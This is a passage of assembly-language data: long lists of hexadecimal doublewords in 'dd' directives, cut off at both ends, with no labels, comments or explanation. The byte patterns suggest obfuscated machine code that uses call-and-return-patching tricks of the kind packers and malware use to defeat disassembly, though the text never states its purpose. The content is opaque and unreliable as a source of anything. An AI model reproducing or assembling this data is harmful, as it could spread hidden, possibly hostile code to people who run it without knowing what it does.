0AD436EFDh, 4B56F716h, 0F532C1D2h dd 0E207131h, 0ABB1B3BCh, 1CE512F9h, 0B21137ECh, 6BE522AFh dd 20201BE6h, 382072D6h, 0DF78513Eh, 2A64F866h, 2364F03Ah dd 8320663Ah, 270313Eh, 0DD1ED41Ah, 4A5AB6BFh, 0BDAD7C52h dd 1BDD9AA4h, 1795CB58h, 862F27AEh, 8320713Bh, 0A62DAA84h dd 70702B41h, 0E3D2FA58h, 92F236Eh, 46F3FA58h, 0E7702166h dd 720712Ah, 168232E4h, 0FA1E8A8Bh, 243C266Dh, 0BB7A85D4h dd 845016B8h, 0A32FE267h, 0CFADF8C0h, 0F8278B34h, 790844ABh dd 0C1309839h, 5B85713Eh, 0C373E61Fh, 8A21B94Eh, 15DE224Ah dd 8BA9A295h, 0DA619Bh, 25AAC880h, 0D8A5B65Fh, 0EF278B39h dd 1A20713Eh, 3BC8233Eh, 3C20713Eh, 877AB264h, 8624556Ah dd 9B24557Ah, 8320713Eh, 318DB26Ch, 43EE7650h, 0C2154C8Bh dd 0B9B58E39h, 64278B2Eh, 4C8223Eh, 0A320713Eh, 487BB265h dd 61245562h, 6B24557Ah, 7B20713Eh, 0C787B26Dh, 6470A089h dd 86460A87h, 0A67F6D9h, 3B0348BBh, 0B6201B39h, 702072D6h dd 0FB7E513Eh, 3854F860h, 2A64F03Ah, 720653Ah, 4076373Eh dd 12AB17B4h, 0F095F4B5h, 0EDAD76C4h, 3FDD8CCFh, 912132B7h dd 0F425E083h, 0CC95FC39h, 3A278CC3h, 0C120710Dh, 0D3CBD5CDh dd 70207186h, 4CE07A3Eh, 1C38B33Dh, 20435B5h, 720996Dh dd 27B713Eh, 0C12066FDh, 0C47CF83Eh, 5464F82Eh, 0F982A2Ah dd 0E320C0C4h, 2A64FADEh, 6DC08E3Ah, 80C8243Eh, 0E120713Eh dd 697DB263h, 0F1245552h, 2424557Ah, 5920713Eh, 56CEB26Bh dd 648248ECh, 844EC88h, 3B3B8883h, 0E0279839h, 0FDF3713Eh dd 3EE918E7h, 1C4A1029h, 0E23996Eh, 5F00713Eh, 0C7A929FDh dd 85A1751Ah, 0E03D751Ah, 2060713Eh, 1B2096FDh, 2458C909h dd 2597AE5Fh, 0FD0898ABh, 87D2F039h, 4C20E34Dh, 1DCBEB83h dd 0F2ADFC39h, 80278CC0h, 8406DA0Bh, 18DDF40Dh, 0C80B76C4h dd 5E2298FFh, 0D694201Bh, 3EE02072h, 63B37D51h, 3A1C4CF8h dd 3A3864F0h, 830E206Bh, 0A4F305E9h, 0B529D98Bh, 7FA0DC1h dd 0BE8h, 7E5D0800h, 0D1FE6B1Dh, 0A46F25D9h, 0E95FEA8Ah dd 42h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh dd 41C35040h, 5774965Ch, 0E9A49F87h, 10h, 0C2F452C3h, 67242D03h dd 0B134B14Eh, 717BDC22h, 1890F61h, 0FC000000h, 0C08BF5C3h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 8DC35141h dd 9061E3B5h, 0E92514A2h, 7, 8945F780h, 8393B992h, 0FA2ACDBDh dd 9750007h, 1899BD83h, 740007FAh, 8B535019h, 4B9B8C0h dd 85890000h, 7FA1581h, 0E28B9D8Dh, 0D3FF07FCh, 0BD83585Bh dd 7FA1899h, 50177400h, 4B9B853h, 85890000h, 7FA1581h dd 0DF2C9D8Dh, 0D3FF07FCh, 0FFC585Bh, 1A87h, 148B0F00h dd 0E9000000h, 0Fh, 0D371CE26h, 735D3FAh, 1D021DDFh, 8B5DB707h dd 8B40F8C0h, 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 8B4DBF8Bh, 0FA1D19BDh, 0E8F38B07h dd 0Fh, 843FEA11h, 757118D4h, 19FC3456h, 0FA27B97h, 0EB5EFFBFh dd 4, 71858900h, 6A07FA2Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 9630C356h, 99858DE0h dd 0F07FA01h, 0E850F8B7h, 0Dh, 0AFA9BCFDh, 9A8F470h, 935B822Dh dd 12E96Ch, 0B50B0000h, 1612BD91h, 866674Ch, 0BCFE3CFDh dd 705EDA20h, 2404895Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 3C35747h, 295B701Ch, 89F2E6B3h, 0FA1C91BDh dd 69BD8B07h, 6A07FA15h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0B9595F01h, 204D80C8h dd 6A7EC5h, 0C69DCF81h, 858D6610h, 7FE0192h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 74C35747h, 0A37636BBh dd 2F099D89h, 0C08307FAh, 6050FC05h, 61C28B66h, 8B240489h dd 0FA2399BDh, 0F006A07h, 389h, 0F38B6600h, 0EE9006Ah dd 0DF000000h, 5DFCD87Fh, 0FF8DD14Ah, 4E14DD77h, 0E995FF00h dd 6007FA2Bh, 11958960h, 0F07FA2Ah, 83h, 85016100h, 7FA338Dh dd 119D8D61h, 6A07FDD7h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 897CC350h, 0FA266DBDh dd 6AD3FF07h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0E2D1C350h, 2F79BD09h, 85FF07FAh dd 7FA1049h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0E0C35545h, 0DCD8426h, 0E9F0B70Fh, 799h, 0E8h dd 0ED815D00h, 7FE019Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 1BC35343h, 0C77D3FD9h, 661C15EAh, 0B2C5CE81h dd 719BD81h, 7D007FAh, 860F0000h, 1A5h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 16h, 0BBC35343h, 9D8BE62Ch dd 7FA1E89h, 24DDBD8Bh, 0E38107FAh, 100h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2EC35343h, 2B41B8A6h dd 0BF90E85h, 0D7850FDBh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EC7BC352h dd 207D9529h, 0BD8307FAh, 7FDFFE4h, 45840F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0DA6BC350h, 89EF6937h, 0C0E9F78Bh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 95F8C350h, 0FFE485C7h, 107FDh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 55F9DC3h, 1DFC1899h, 9B53151h, 0E907FA15h, 6Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 59C35343h, 7DE0DB62h dd 2EC73172h, 0E49B533h, 85C707FAh, 7FDFFE4h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 2BC35040h dd 0BE8B1h, 0C1FB0000h, 0DF687BD5h, 155A86B4h, 3830FCCh dd 0F000000h, 8D5FF9BFh, 0FA1E899Dh, 4DBD8B07h, 8107FA31h dd 0FFFEFF23h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 67E4B3E7h, 0DB8C668Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0F6C35040h dd 381EEBF7h, 0CE950h, 0D1D50000h, 0C10DC266h, 5CA0CCF7h dd 8B5FD3C7h, 0FA2485BDh, 9E907h, 9EA50000h, 0F021AAC0h dd 0F60E3458h, 840F04C3h, 90h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 86C35141h, 0C3B808BBh, 0A595FF29h dd 6A07FA10h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 66F4C356h, 0C02CE681h, 24048950h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 1AC35040h dd 3D7AA206h, 8459307Bh, 2850F60h, 0B3000000h, 5E87Ch dd 9EC50000h, 0F8426E0h, 86h, 0BE615A00h, 28078A1Fh, 375E9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0A3AB398Dh, 4890Fh, 0BE660000h, 0B01849h dd 95C68166h, 8170E69Ch, 0B36B7AC6h, 5771E43Bh, 0D8B60F5Eh dd 2D19B589h, 6BA07FAh, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0DA05C351h dd 89C38B01h, 0FA1689BDh, 0C1F08B07h, 6A04E8h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 664CD8C3h, 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0BE1E79C3h, 2B896D37h, 0F9B70FD8h dd 3800Fh, 0B70F0000h, 12E893F0h, 6D000000h, 0E4EA94D7h dd 0BFCFE7Ch, 3A4243BAh, 0FCD598C6h, 0BE8A8h, 56070000h dd 7D8966D6h, 0AD724121h, 5EF98BAFh, 6093505Eh, 31318D8Bh dd 9D8907FAh, 7FA2939h, 19B5FF61h, 8107FA07h, 0D511D7F7h dd 1995FF3Ah, 6A07FA10h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 99AC352h, 0FA2B2D95h dd 6A00B007h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 803FC357h, 50178F5Ah, 0BE70E6F0h dd 36AF8C91h, 0B037D681h, 71E42272h, 7E9h, 2D3CFA00h, 968C1E17h dd 830F613Ch, 1FAh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0A4C35040h, 2088AA21h, 0F3AE8CB6h, 117D8589h dd 0B60F07FAh, 0AD9D89D8h, 0BA07FA17h, 6, 1F899589h, 0B52907FAh dd 7FA0849h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 8BF860C3h, 0FA2C75BDh, 958B6007h dd 7FA2F81h, 20759533h, 0C16107FAh, 5F5304E8h, 66E2F766h dd 5F23CE81h, 0F78BD82Bh, 9E8h, 2DF33700h, 152BF154h, 5EFC8BF3h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0E90973A9h, 0Fh, 0FC5AA7E8h, 54F633C7h dd 0AAA21600h, 2BB7498Bh, 27880FD8h, 6A000001h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 8147C357h, 19DF63C1h, 57D95120h, 7B95Fh, 0C1830000h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0C99D2949h, 0F07FA0Bh, 0D93BF7B7h, 0CC860Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 61D49BC3h, 181D6DE3h, 13E99240h, 0D8000000h dd 0C741BCD5h, 0E76F3Eh, 78B83723h, 0B7DF6138h, 8C66BD25h dd 4C1F6D9h, 80840Fh, 8B500000h, 0FA2A25B5h, 95FF5E07h dd 7FA10A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 48C35747h, 0C3CCB28h, 190EE781h, 6A5B26A4h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0FD19C351h, 8803EF43h, 2B55E083h, 69BD8BC3h, 0FC07FA14h dd 8343Dh, 13860F00h, 52000000h, 0B89BD2Bh, 895E07FAh dd 0FA166585h, 4E907h, 0C08B0000h, 0C38BF88Bh, 0B70FD88Bh dd 68E4BFFFh, 85C72A22h, 7FA185Dh, 1A7C29D9h, 0EA10EE81h dd 8B66616Bh, 6AC08BF0h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 9021C350h, 89A73BE2h dd 0FA1795BDh, 19BD8107h, 0D007FA07h, 0F000007h, 5485h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0FA9E3FA4h, 96369BF0h, 1985FF9Eh, 6A07FA07h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0D5D8C351h, 3EC741BCh, 8900E76Fh, 0FA2405BDh dd 19B5FF07h, 6A07FA07h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 76E8C355h, 14F44C5Dh dd 0FFAF62BEh, 1995FF36h, 6A07FA10h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 59E3C355h dd 0B890D305h, 12345678h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0B1C35545h, 6830F37h, 89000000h, 0FA01F195h dd 0DA9D8D07h, 0E907FE08h, 0FFFFF884h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 5AC35040h, 66C18B5Ch, 4EBF08Bh dd 0 dd 14418D01h, 8D8907FAh, 7FA0A9Dh, 199858Dh, 0F68107FAh dd 3ED28DCCh, 60525090h, 8C0Fh, 0BB660000h, 0F61DA4Eh dd 8E831h, 66C0000h, 0AF66549Ch, 870F75B7h, 0 dd 50585A5Fh, 0F6C7BBEh, 6A9045h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 5FB824C3h, 0F28B31B6h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 2BF43BC3h, 0FA2701B5h, 6A006A07h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0FEA2C352h, 0F09C2CAh, 858DFAB7h, 7FE0A95h, 1871BD01h dd 0C08307FAh, 5D8D8905h, 5007FA31h, 66240489h, 870FFA8Bh dd 0Dh, 0E7F1BA60h, 0F181413Bh, 1951772Ah, 0E9006A61h dd 12h, 0E852CFE0h, 4FF08E1Fh, 6BA8B6B4h, 0E887DA5Bh, 6A1AFAh dd 48C0Fh, 0BF660000h, 95FFA569h, 7FA2BE9h, 5C33A8BEh dd 119D8D4Eh, 0E807FDD7h, 9, 685121ADh, 0A41A8445h, 0B50B6095h dd 7FA1E9Dh, 800Fh, 5E610000h, 85FFD3FFh, 7FA1049h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 38C35747h, 85E9F08Bh dd 0E800000Eh, 0 dd 9FED815Dh, 8B07FE0Ah, 0FA2459B5h, 19BD8107h, 0D007FA07h dd 0F000007h, 1C286h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 2C5908E2h, 0CDC7667Ch dd 9D01953Eh, 7FA0059h, 0DA59D8Bh, 6A07FAh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 1B3CC8C3h dd 0AADAFBCh, 0E38169h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 94C6C351h dd 779D1B4Bh, 0FDB0BEBh, 9D85h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0D697CEF4h dd 0FAE9575h, 68Ah, 21B58B00h, 0B07FA20h, 0FA2DE9B5h, 37BD8307h dd 7FE09h, 1C840Fh, 0CE90000h, 0B000000h, 7AD181B7h, 0B267E84Ah dd 0E90A836Ah, 89h, 2035B58Bh, 85C707FAh, 7FE0937h, 1 dd 0BE9h, 9BFCEE00h, 7DA5BDA2h, 94D0B25h, 64E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0DB0CA3D9h, 85C75C7Ah, 7FE0937h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0AEC35646h dd 0E7ADFA6Dh, 12E9BD6Eh, 0D4000000h, 6363A5C3h, 200DBB01h dd 20ED1585h, 347EE2A5h, 0A59D8D44h, 6A07FA0Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0F6FAC357h, 0C8FA464Dh, 0F94660Bh, 2381F1B7h, 0FFFFFEFFh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 25C35040h dd 0FEFD82C7h, 19B52973h, 0F507FA02h, 66F78B66h, 0C3F6DB8Ch dd 6D840F04h, 60000000h, 12E9h, 1F1A6100h, 9D937A80h, 0BDC2367Fh dd 907BF05h, 0E9C794F2h, 12h, 0BC32E7C1h, 104C3994h, 260B08F4h dd 53800E8Dh, 0BE61F74Ah, 391FAB10h, 10A595FFh, 0BD8B07FAh dd 7FA1CF1h, 13E890h, 24C60000h, 872C4A86h, 0BFE451Ah dd 0D1406D8Ch, 0A2567BABh, 0F98B666Ah, 6060505Eh, 2857BE66h dd 61CA8B66h, 90615853h, 45BE9h, 81666000h, 898B4FF1h dd 0FA29BD95h, 0B06107h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 9BC35646h, 431F11Ah, 70E61C24h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 1AC35242h, 0F508EE3Ah dd 11584358h, 80FDD3BFh, 6671E40Fh, 289FCF81h, 89D8B60Fh dd 0FA187D8Dh, 0BAF28B07h, 6, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 84C35343h, 0F0B0FA5Eh, 0D9958931h dd 8B07FA01h, 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 673D007h, 89AE7029h, 0FA2655B5h dd 4E8C107h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 1DC35646h, 0FB2DB8B2h, 81F45E76h, 0E570DCC6h, 0E2F76613h dd 21018D89h, 0D82B07FAh, 0CF59D29h, 505007FAh, 0FB31BF52h dd 310F4185h, 8B0F60h, 0E9000000h, 0Ch, 3C607D6Eh, 0D38E80F3h dd 475F0F49h, 89585A61h, 6A241Ch, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0EC7788C3h, 0D8FE40D4h dd 19B5FFB5h, 6A07FA07h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 77DCC356h, 35BD8B30h dd 107FA25h, 0FA2099BDh, 1995FF07h, 307FA10h, 0FA1F9DB5h dd 0E900B007h, 6, 2FFFF5D9h, 70E6D6B9h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 19h, 0BAC35545h, 18FB1F3Bh dd 59589BEh, 0E407FA01h, 8B666071h, 61CA8BDFh, 830F613Ch dd 28Ch, 11E9h, 208D500h, 3087F21Ah, 9690F5h, 3A3C5938h dd 0B60F8E30h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0B509551Fh, 7FA16BDh dd 2D59BD89h, 6BA07FAh, 1000000h, 0FA2C25B5h, 6AC38B07h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 690DC351h, 657289E5h, 0AE913h, 666B0000h dd 0AD0FE774h, 238B746Ah, 2904E8C1h, 0FA08318Dh, 0E2F76607h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F9C35747h dd 3860Fh, 8B660000h, 6AD82BF2h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 469DC351h, 0B439EC4Ah dd 8B6E35C8h, 6A58F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 6F5B7EC3h, 9E93Ah, 0B750000h, 699BB7Dh dd 2BEEF067h, 7D880FD8h, 89000001h, 0FA1D79BDh, 7B907h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 8AED87C3h, 0AC8D2CF8h, 0BEEAC323h, 32EB96E7h dd 6E8h, 964CF700h, 295C6E64h, 0FA079185h, 0C1835F07h dd 89B58B00h, 2907FA00h, 0FA204585h, 0FD93B07h, 11F86h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0FC06CC5Dh, 3E9C0F3h, 0FA0E99B5h, 75B52307h dd 8B07FA15h, 0FA16EDBDh, 0D98C6607h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0C3C35141h, 0E9B58BE0h, 0BF07FA2Dh dd 1B773E14h, 0F04C1F6h, 0B084h, 7AD68100h, 0FF4A10CCh dd 0FA10A595h, 9D896007h, 7FA1135h, 2AB9B589h, 5B6107FAh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 89C35545h dd 2BF0B70Fh, 0BE8C3h, 87D20000h, 44058050h, 70056443h dd 3D5FF90Ah, 834h, 57860Fh, 0F600000h, 686h, 0F9BD2900h dd 0E907FA0Ch, 14h, 37832D30h, 15FB7A18h, 39A92E03h, 85EF15CFh dd 0F61E81DAh, 32E961h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 41F32BC3h, 63AA4ACCh dd 89B9D33Eh, 0FA00E5BDh, 66C08B07h, 44C8EE81h, 0D88BC38Bh dd 0C7F3B70Fh, 0FA1E8985h, 0CFC77107h, 25B58976h, 8907FA1Eh dd 0FA115195h, 60C08B07h, 6CB4BB57h, 5658192Fh, 4FC6DF81h dd 615A162Ch, 719BD81h, 7D007FAh, 850F0000h, 56h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 72C35343h, 4B45593h dd 0BDBD29F9h, 0F07FA01h, 178Fh, 0BE800h, 9A630000h, 37B4DE58h dd 4CBBBA13h, 5985899Ah, 5E07FA27h, 71985FFh, 880F07FAh dd 6, 25BDB58Bh, 0B5FF07FAh, 7FA0719h, 0FFFEBF0Fh, 0FA101995h dd 65B58B07h, 9007FA26h, 53006A40h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0AF4F7192h, 5AF05386h dd 8D8976DFh, 7FA1665h, 1665B58Bh, 0BD8307FAh, 7FA2705h dd 3B840F00h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 9F3BC356h, 8E64B6C8h dd 218D892Fh, 0E907FA27h, 0Ah, 0EFF1509Eh, 3B74DA1h, 0BD833490h dd 7FA2C05h, 0F7840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0FC2C353h dd 48Ah, 0E8BF6600h, 6E8608Ah, 14000000h, 0F7D59542h, 0BE900h dd 5BA80000h, 0F2A69861h, 0D5BC4BBh, 7E95F40h, 5000000h dd 657EF57Eh, 0FF610E57h, 0FA270595h, 53006A07h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0B3B5DD5Eh, 9D5AFEB2h, 1DD98D89h, 0C00B07FAh, 70840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 26E61FC3h, 0BD8BE532h, 7FA2E51h, 0DE8h, 0DCC0E000h dd 5513411h, 0E289F59Bh, 9D8954BAh, 7FA2991h, 668D8D5Fh dd 8907FA4Fh, 0FA2E6DBDh, 5B807h, 8B0F0000h, 12h, 0DE9h dd 797F4600h, 79F41F6Eh, 77576485h, 0E1FFFBC5h, 206DBD0Bh dd 0BD8307FAh, 7FA1F25h, 85840F00h, 0F000005h, 1B82h, 0FE800h dd 82E00000h, 0A5B0F550h, 853B38F2h, 0CFEC209Eh, 0B1B58B2Eh dd 5F07FA1Eh, 2C05BD83h, 0F0007FAh, 55784h, 3B83BF00h dd 8D8D096Ah, 7FA1D71h, 12E8h, 0E4178300h, 27AE18CBh, 0D0E4CEC3h dd 23395576h, 0E9DD8B7Eh, 0Ah, 0DE5F101Dh, 8ADAA4B1h dd 0C75E60EFh, 0B27C8401h, 78E0F44h, 0F000000h, 18Dh, 181F500h dd 1499CFCBh, 340441C7h, 6ACE706Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0CC07C350h dd 0F0E38ED0h, 2334164Ah, 0FA0A6DB5h, 254CBE07h, 41811425h dd 0D6D71004h, 0E7816631h, 6A498Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 7FC35545h, 0EF949A27h, 1996CB4Ah dd 1D71858Dh, 96007FAh, 0FA1C1995h, 3810F07h, 80000000h dd 5061EBD8h, 5E8h, 96CEC500h, 26BEC966h, 5E58D64Fh, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 7218C356h, 5880Fh, 81660000h, 168A5EEh, 0FA15859Dh dd 2595FF07h, 8B07FA1Fh, 0FA3455BDh, 718D8D07h, 107FA1Dh dd 0FA0851BDh, 1C707h, 89000000h, 0FA2BD195h, 65BD8907h dd 0C707FA1Eh, 441h, 12E90000h, 5B000000h, 0E277CE94h dd 79CACFE8h, 0A2EB203h, 3D8496ACh, 0FC00B95h, 6984h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 990C497Eh, 6840F50h, 8B000000h, 0FA1611B5h, 8D8D5F07h dd 7FA4F66h, 0AE58D29h, 5B807FAh, 0FF000000h, 57006AE1h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 7F079524h, 76BA470h, 0AD8589h, 8D8D07FAh, 7FA1D71h dd 0C7FAB70Fh, 0AA727C01h, 56006A44h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 9D892943h dd 7FA0BD5h, 181F28Bh, 1499CFCBh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0B8C35747h, 0F016F08h, 99BD8BA7h dd 0C707FA25h, 753C0441h, 6ACE78h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 4E89C9C3h, 75FA6523h dd 9D89D501h, 7FA01A5h, 10044181h, 6A31D6D7h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 8DF88BA1h, 0FA1D7185h, 0F7816607h, 0BD8B0858h, 7FA2C01h dd 89F38B50h, 95892404h, 7FA0E65h, 1F2595FFh, 6A07FAh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 2BA192C3h, 0FA20F5B5h, 718D8D07h, 6007FA1Dh, 1D09B589h dd 8B6607FAh, 1C761DAh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F0C35545h dd 23268951h, 0B58B15FDh, 7FA20F5h, 441C7h, 0FC000000h dd 840FC00Bh, 56h, 668D8DF5h, 6A07FA4Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 838DC356h dd 8166DAD7h, 817B0DC7h, 0D47087E6h, 5B816h, 8E80000h dd 0BF000000h, 52543855h, 89F3864Fh, 0FA260D9Dh, 0E1FF5E07h dd 5E9h, 2FBBFB00h, 8D8D2905h, 7FA1D71h, 95A501C7h, 6A54CAh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 2AE897C3h, 8CF76CAh, 0B3DBD0Bh, 18107FAh, 1499CFCBh dd 0F949CF81h, 41C71BB8h, 5F596904h, 51006ACEh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 3C2C1963h dd 2F86C39Fh, 27BF36E6h, 8179AE1Bh, 0D7100441h, 6A31D6h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 6B2147C3h, 6AA0C2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0D1C35747h, 44AC80E1h, 9E9A5C8h, 8C000000h dd 9A277F14h, 0CB4AEF94h, 1D71858Dh, 6A07FAh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 673DCEC3h dd 52250A71h, 0BF66A776h, 6690AD37h, 50FD55BFh, 66605190h dd 6C19DF81h, 0FF5F61F5h, 0FA1F2595h, 55BD3307h, 8D07FA16h dd 0FA1D718Dh, 830F07h, 89000000h, 0FA11AD95h, 1C707h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 29A9C356h, 54A47BC1h, 441C7AEh dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 33C35040h dd 0FE1F18C2h, 8BE4D73Dh, 0FFBF0F33h, 840FC00Bh, 68h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 29C35141h, 6830Fh dd 85890000h, 7FA279Dh, 4F668D8Dh, 0B58907FAh, 7FA2075h dd 5B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 7D49A113h, 848AA61h, 0FBBF661Fh dd 66E1FF43h, 8750DE81h, 84E9CA03h, 66FFFFF1h, 0C681F78Bh dd 396AC225h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 3C6772C3h, 0EBF5B288h, 4, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 